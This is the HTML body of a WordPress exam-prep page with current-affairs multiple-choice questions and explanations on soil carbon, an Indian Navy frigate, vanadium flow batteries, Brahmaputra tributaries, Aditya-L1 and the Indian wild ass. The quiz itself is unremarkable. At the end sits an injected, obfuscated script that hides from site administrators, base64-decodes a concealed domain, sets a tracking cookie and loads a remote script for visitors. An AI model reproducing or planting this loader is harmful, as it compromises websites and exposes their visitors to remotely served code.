wp-elements-113\">\n<li><strong>Soil Organic Carbon (SOC)<\/strong> refers to the <strong>carbon component of organic compounds<\/strong> present in the soil.<\/li>\n\n\n\n<li>It originates from:<ul><li><strong>Plant residues<\/strong> (leaves, roots, crop stubble)<\/li><\/ul><ul><li><strong>Animal residues<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Microbial biomass<\/strong> and by-products<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>It forms part of <strong>Soil Organic Matter (SOM)<\/strong> \u2014 which typically contains <strong>~58% carbon<\/strong>.<\/li>\n\n\n\n<li>SOC is a <strong>key indicator of soil health<\/strong> and <strong>agricultural sustainability<\/strong>.<\/li>\n\n\n\n<li>The ICAR study found that <strong>colder, high-altitude regions<\/strong> (like Himalayan areas) retain <strong>more soil organic carbon (SOC)<\/strong> than <strong>hotter plains<\/strong>, as low temperatures slow down decomposition. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Imbalanced fertiliser use<\/strong>, particularly <strong>excess urea and phosphorus<\/strong> with inadequate potash and organic manure, <strong>reduces SOC<\/strong> by degrading soil biology and organic matter content. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>SOC is essential for <strong>soil structure, water retention, nutrient cycling<\/strong>, and overall <strong>soil fertility<\/strong>, making it key to sustainable agriculture. <strong>Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Agricultural soils release nitrogen oxide into environment <br>2. Cattle release ammonia into environment <br>3. Poultry industry releases reactive nitrogen compounds into environment <br><br><strong>Which of the above given statements are the correct?<\/strong> <br><br>(a) 1 and 3 only <br>(b) 2 and 3 only <br>(c) 2 only<br><strong>(d) 1,2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-114 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/climate-change-imbalance-in-fertiliser-use-kill-soils-organic-carbon-icar-study\/article70257059.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/climate-change-imbalance-in-fertiliser-use-kill-soils-organic-carbon-icar-study\/article70257059.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>6. INS Sahyadri belongs to which class of Indian Navy warships?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(a) Kolkata-class<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(b) Shivalik-class<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(c) Nilgiri-class<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(d) Visakhapatnam-class<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\"><strong>Answer: (b) Shivalik-class<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>In NEWS: <\/strong>Navy deploys INS Sahyadri for Malabar exercise<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>INS Sahyadri:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-124\">\n<li>INS Sahyadri is a <strong>stealth guided-missile frigate<\/strong> of the Indian Navy.<\/li>\n\n\n\n<li>It belongs to the <strong>Shivalik-class (Project 17)<\/strong>. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The ship was <strong>built by Mazagon Dock Shipbuilders Ltd, Mumbai<\/strong>.<\/li>\n\n\n\n<li>It was <strong>commissioned on 21 July 2012<\/strong>.<\/li>\n\n\n\n<li>The ship operates under the <strong>Eastern Naval Command, Visakhapatnam<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\"><strong>Specifications:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-126\">\n<li>Full-load displacement is around <strong>6,200 tonnes<\/strong>.<\/li>\n\n\n\n<li>Length is approximately <strong>142.5 m<\/strong> and beam <strong>16.9 m<\/strong>.<\/li>\n\n\n\n<li>It uses <strong>CODOG propulsion<\/strong> (2 diesel + 2 gas turbines) and can reach <strong>32 knots<\/strong>.<\/li>\n\n\n\n<li>INS Sahyadri has <strong>stealth features<\/strong>: reduced radar, infrared, and acoustic signatures.<\/li>\n\n\n\n<li>It is armed with <strong>BrahMos anti-ship\/land-attack missiles<\/strong> and <strong>Barak-1 surface-to-air missiles<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Roles &amp; Capabilities<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-128\">\n<li>Roles include <strong>anti-air, anti-surface, anti-submarine warfare<\/strong>, long-range deployment, and escort missions.<\/li>\n\n\n\n<li>INS Sahyadri participates in multilateral naval exercises like <strong>JAIMEX, Malabar, and Indo-French maritime drills.<\/strong><\/li>\n\n\n\n<li>It demonstrates India\u2019s capability in <strong>indigenous warship design<\/strong> and <strong>\u201cMake in India\u201d defence initiatives<\/strong>.<\/li>\n\n\n\n<li>Strategically, it enhances India\u2019s <strong>blue-water navy capabilities<\/strong> and presence in the <strong>Indo-Pacific and Indian Ocean Region<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Which one of the following is the best description of \u2018INS Astradharini\u2019, that was in the news recently?<\/strong> <br><br>(a) Amphibious warfare ship <br>(b) Nuclear-powered submarine <br><strong>(c) Torpedo launch and recovery vessel<\/strong> <br>(d) Nuclear-powered aircraft carrier<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-129 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/economictimes.indiatimes.com\/news\/defence\/indian-navy-deploys-warship-ins-sahyadri-for-malabar-exercise\/articleshow\/125203921.cms?from=mdr\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/economictimes.indiatimes.com\/news\/defence\/indian-navy-deploys-warship-ins-sahyadri-for-malabar-exercise\/articleshow\/125203921.cms?from=mdr<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>7. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">1. 100% Depth of Discharge<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">2. Non-flammable Electrolyte<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">3. Rapid reaction in milliseconds<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\">4. No toxic heavy metals or rare elements<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">5. Operation across wide temperature ranges<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>How many of the above are the advantages of Vanadium Redox Flow Batteries?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(c)Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(d) All the five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>Answer: (d) All the five<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>In NEWS: <\/strong>Hon\u2019ble Minister of Power, Housing &amp; Urban Affairs, Shri Manohar Lal inaugurates India\u2019s First MWh-Scale Vanadium Flow Battery at NTPC NETRA<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Vanadium Redox Flow Battery (VRFB):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-145\">\n<li>A Vanadium Redox Flow Battery (VRFB) is a type of rechargeable flow battery that stores energy in liquid electrolytes containing vanadium ions in different oxidation states.<\/li>\n\n\n\n<li>It\u2019s used for large-scale energy storage, especially for renewable energy (solar, wind) integration and grid stability.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\"><strong>Applications of Vanadium Redox Flow Battery (VRFB):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-147\">\n<li>Grid-Scale Energy Storage<\/li>\n\n\n\n<li>Renewable Energy Integration (Solar and Wind)<\/li>\n\n\n\n<li>Peak Shaving and Load Leveling<\/li>\n\n\n\n<li>Backup Power Supply<\/li>\n\n\n\n<li>Microgrids and Remote Area Power Systems<\/li>\n\n\n\n<li>Frequency Regulation and Voltage Support<\/li>\n\n\n\n<li>Industrial and Commercial Energy Management<\/li>\n\n\n\n<li>Utility-Scale Energy Storage Projects<\/li>\n\n\n\n<li>Data Centers and Critical Infrastructure Support<\/li>\n\n\n\n<li>Off-Grid and Islanded Power Systems<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\"><strong>Key Advantages of VRFBs<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>1. Long Lifespan: <\/strong>Can last 20\u201325 years or >15,000\u201320,000 charge\u2013discharge cycles. Electrolyte and cell components do not degrade easily, unlike lithium-ion cells.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>2. 100% Depth of Discharge:<\/strong> VRFBs can be fully discharged (0% state of charge) without damaging the battery or reducing its lifespan. This makes all stored energy usable.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>3. High Safety:<\/strong> Electrolyte is non-flammable and operates at ambient temperature and pressure. No risk of thermal runaway, explosion, or fire (unlike lithium-ion).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>4. Scalable and Flexible Design: <\/strong>Energy (MWh) depends on tank size, and power (MW) depends on stack size \u2014 they can be sized independently. This makes it ideal for large-scale (grid) and long-duration energy storage.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\"><strong>5. Long-Duration Storage Capability: <\/strong>Excellent for storing energy for 4 to 10+ hours, supporting renewable integration and grid stability.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>6. Low Maintenance and Easy Refurbishment: <\/strong>Most parts (pumps, tanks, membranes) are easy to replace or recycle. Electrolyte doesn\u2019t degrade, it can be reused indefinitely.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>7. Environmentally Friendly: <\/strong>Uses vanadium, which can be recycled from industrial waste or reused from the electrolyte after battery life ends. No toxic heavy metals or rare elements like cobalt or nickel.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>8. Stable Performance: <\/strong>Power output doesn\u2019t degrade over time with consistent voltage and capacity even after many cycles. Can operate across wide temperature ranges.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\"><strong>9. Rapid Response Time: <\/strong>Reacts in milliseconds, making it suitable for frequency regulation and voltage support on electrical grids.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>10. Low Levelized Cost Over Lifetime: <\/strong>While initial cost is higher, the long life and low operating cost make the total cost per kWh (over 20+ years) very competitive for stationary storage.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Consider the following:<\/strong> <br><br>1. Battery storage <br>2. Biomass generators <br>3. Fuel cells <br>4. Rooftop solar photovoltaic units <br><br><strong>How many of the above are considered \u201cDistributed Energy Resources\u201d?<\/strong> <br><br>(a) Only one <br>(b) Only two <br>(c) Only three <br><strong>(d) All four<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-159 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2188809\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2188809<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>8. Which of the following rivers is a tributary of the Brahmaputra?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">1. Subansiri<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">2. Lohit<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">3. Rangpo<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">4. Siang<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">5. Teesta<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">(b) 1, 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\">(c) 2, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">(d) 1, 3, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Answer: (b) 1, 2 and 4 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-172 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>In NEWS: <\/strong>Brahmaputra, Teesta rivers eroding land faster than everin Bangladesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\"><strong>Brahmaputra River<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-175\">\n<li>Originates from the <strong>Angsi Glacier in Tibet (China)<\/strong>, where it is called <strong>Yarlung Tsangpo<\/strong>.<\/li>\n\n\n\n<li>Flows through <strong>Tibet, India and Bangladesh<\/strong>.<\/li>\n\n\n\n<li>Length in India: ~ <strong>916 km<\/strong>.<\/li>\n\n\n\n<li>Major Indian states it flows through: <strong>Arunachal Pradesh, Assam<\/strong>.<\/li>\n\n\n\n<li>Major tributaries in India: <strong>Subansiri, Lohit, Siang, Dibang, Dhansiri<\/strong>.<ul><li>Teesta is an independent river, joins Brahmaputra in Bangladesh, but is not considered a tributary in India.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Rangpo is a tributary of Teesta, not Brahmaputra.<strong> Hence option (b) 1, 2 and 4 are correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Joins <strong>Ganga (Padma)<\/strong> in Bangladesh and forms <strong>Brahmaputra-Jamuna delta<\/strong>.<\/li>\n\n\n\n<li>Known for <strong>annual flooding<\/strong> in Assam plains.<\/li>\n\n\n\n<li>Important hydropower projects: <strong>Siang HEP, Subansiri Lower HEP (ongoing)<\/strong><\/li>\n\n\n\n<li>Navigation: Supports inland water transport and <strong>fishing communities<\/strong>.<\/li>\n\n\n\n<li>Ecosystem: <strong>Biodiversity hotspot<\/strong> \u2013 home to <strong>Gangetic dolphin<\/strong> and rich wetland fauna.<\/li>\n\n\n\n<li>International significance: <strong>India-China-Bangladesh transboundary river<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. With reference to river Teesta, consider the following statements:<\/strong> <br><br>1. The source of river Teesta is the same as that of Brahmaputra but it flows through Sikkim. <br>2. River Rangeet originates in Sikkim and it is a tributary of river Teesta. <br>3. River Teesta flows into Bay of Bengal on the border of India and Bangladesh. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 3 only <br><strong>(b) 2 only<\/strong> <br>(c) 2 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-176 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/155904\/OPS\/G94F44M4J.1+G2NF5B7UR.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/155904\/OPS\/G94F44M4J.1+G2NF5B7UR.1.html<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-177 wp-block-paragraph\"><strong>9. Consider the following statements:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>Statement I: <\/strong>Aditya-L1 spacecraft is positioned at Sun-Earth Lagrange Point 1 (L1) to observe solar activity continuously.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\"><strong>Statement II: <\/strong>L1 allows a satellite to remain in a stable position relative to the Earth and Sun with minimal fuel consumption.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\"><strong>Statement III: <\/strong>L1 provides a continuous, unobstructed view of the Sun without Earth eclipses.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">(c) Only one of the Statements II and Statement\u00a0 III is correct and that explain statement t I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\"><strong>Answer: (a) Both Statement II and Statement III are correct and both of them explain Statement I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>In NEWS: <\/strong>Aditya-L1 gets a close look at eruptions from the sun<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>Aditya-L1 \u2013 Mission Overview<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-190\">\n<li><strong>Aditya-L1<\/strong> is <strong>India\u2019s first dedicated solar mission<\/strong> by ISRO.<\/li>\n\n\n\n<li>Purpose: To <strong>study the Sun<\/strong>, including its <strong>corona, solar emissions, and space weather effects<\/strong>.<\/li>\n\n\n\n<li>Type: <strong>Sun-observing satellite<\/strong> at <strong>Lagrangian point 1 (L1)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-191 wp-block-paragraph\"><strong>Scientific Objectives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-192\">\n<li>Study <strong>solar corona and chromosphere<\/strong>.<\/li>\n\n\n\n<li>Measure <strong>solar irradiance<\/strong> and <strong>magnetic field variations<\/strong>.<\/li>\n\n\n\n<li>Investigate <strong>space weather phenomena<\/strong> affecting Earth.<\/li>\n\n\n\n<li>Study <strong>coronal mass ejections (CMEs)<\/strong> and <strong>solar winds<\/strong>.<\/li>\n\n\n\n<li>Provide <strong>early warning for geomagnetic storms<\/strong> impacting Earth\u2019s environment, satellites, and power grids.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-193 wp-block-paragraph\"><strong>Instruments on Board<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-194\">\n<li><strong>VELC (Visible Emission Line Coronagraph)<\/strong> \u2013 studies solar corona.<\/li>\n\n\n\n<li><strong>SUIT (Solar Ultraviolet Imaging Telescope)<\/strong> \u2013 UV imaging of Sun.<\/li>\n\n\n\n<li><strong>ASPEX (Aditya Solar Wind Particle Experiment)<\/strong> \u2013 measures solar wind particles.<\/li>\n\n\n\n<li><strong>PAPA (Plasma Analyser Package for Aditya)<\/strong> \u2013 plasma and particle detection.<\/li>\n\n\n\n<li><strong>SIXS (Solar X-ray Monitor)<\/strong> \u2013 measures X-ray emissions.<\/li>\n\n\n\n<li><strong>MAG (Magnetometer)<\/strong> \u2013 measures magnetic fields near L1.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-195 wp-block-paragraph\"><strong>Strategic &amp; Scientific Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-196\">\n<li><strong>First ISRO mission<\/strong> to <strong>Lagrangian point L1<\/strong> \u2013 first in India for Sun observation.<\/li>\n\n\n\n<li>Helps <strong>improve understanding of Sun-Earth interactions<\/strong>.<\/li>\n\n\n\n<li>Supports <strong>space weather forecasting<\/strong> \u2013 important for <strong>satellite safety, aviation, and power grids<\/strong><\/li>\n\n\n\n<li>Contributes to <strong>global solar science<\/strong> alongside NASA, ESA, and other space agencies.<\/li>\n\n\n\n<li>Demonstrates <strong>India\u2019s growing capabilities in interplanetary and deep-space missions<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>Hence Both Statement II and Statement III are correct and both of them explain Statement I<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><strong>The Mangalyaan launched by ISRO<\/strong> <br><br>1. is also called the Mars Orbiter Mission <br>2. made India the second country to have a spacecraft orbit the Mars after USA <br>3. made India the only country to be successful in making its spacecraft orbit the Mars in its very first attempt <br><br><strong>Which of the statement(s) given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-198 wp-block-paragraph\" style=\"color:#0015ff\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/aditya-l1-iia-nasa-collaborate-to-record-spectroscopic-observations-of-a-cme-in-visible-wavelength-range-for-very-first-time\/article70258711.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/aditya-l1-iia-nasa-collaborate-to-record-spectroscopic-observations-of-a-cme-in-visible-wavelength-range-for-very-first-time\/article70258711.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\"><strong>10. A sandy and saline area is the natural habitat of an Indian animal species. The animal has no predators in that area but its existence is threatened due to the destruction of its habitat. Which one of the following could be that animal?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\">(a) Indian wild buffalo<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\">(b) Indian wild ass<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">(c) Indian wild boar<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\">(d) Indian gazelle<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\"><strong>Answer: (b) Indian wild ass<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-206\">\n<li>The Indian wild ass (Equus hemionus khur) is found mainly in the Little Rann of Kutch in Gujarat, which is a sandy and saline area.<\/li>\n\n\n\n<li>This region provides a unique habitat \u2014 flat, arid, saline desert plains with sparse vegetation.<\/li>\n\n\n\n<li>The wild ass has no natural predators in this region.<\/li>\n\n\n\n<li>However, its existence is threatened due to:<ul><li>Habitat destruction from salt panning,<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Encroachment, and Developmental activities in the Rann of Kutch.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>Hence option (b) is correct.<\/strong><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>The Legal Services Authorities Act, 1987 provides for which of the following? 1. Establishment of Lok Adalats 2. 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